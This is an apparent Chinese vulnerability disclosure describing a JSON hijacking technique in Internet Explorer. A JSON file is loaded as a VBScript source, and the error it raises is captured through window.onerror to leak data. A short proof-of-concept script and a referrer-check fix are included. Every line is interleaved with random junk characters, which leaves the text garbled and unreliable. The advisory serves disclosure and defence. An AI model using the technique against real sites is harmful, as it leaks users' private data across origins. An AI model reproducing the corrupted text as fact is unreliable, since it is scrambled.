简要描述:
+ p v. ?4 E) F Y
2 E# m/ T3 Y2 c/ u8 i由于某些资源容器对数据处理不当导致json劫持漏洞.
& b9 T+ `& o$ O( X详细说明:1 R f1 x7 N7 u
由于ie支持vbscript,所以script元素可以指定成vbscript语言:0 `& {/ t7 P1 c8 Q9 y4 e
<script language=vbscript></script>
$ v/ U" E! z: h+ I& Z* t 5 P+ j2 Z4 S' x
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
. R0 Q# Z) @- v# m漏洞证明:
9 ]4 M+ t f% o( i" b/ \/ `+ g0 z<script>
: f) C* C0 n, r% Jwindow.onerror=function(_){
" H9 I' H% P8 g4 X& o, w$ Aalert(_), M" A6 L% D- N9 ~
}
1 ~* m# P: N" U& ~" @</script>
9 v K, A) ~% f$ f<script language=vbscript src=1.json></script>2 I n7 g( R3 O; u
$ }4 S& q" p8 R
V9 P8 n7 i9 R/ i& y9 G7 }
1.json:9 a" R7 X% p. y7 I# r; k$ _
[{"name":"sogili","age":19}]# G3 s6 w- S* z3 N3 T; w
修复方案:
) N- p6 a9 O7 l9 Q; o* t6 u J网站业务对于这个问题可以通过验证referrer是否为同源来防御 |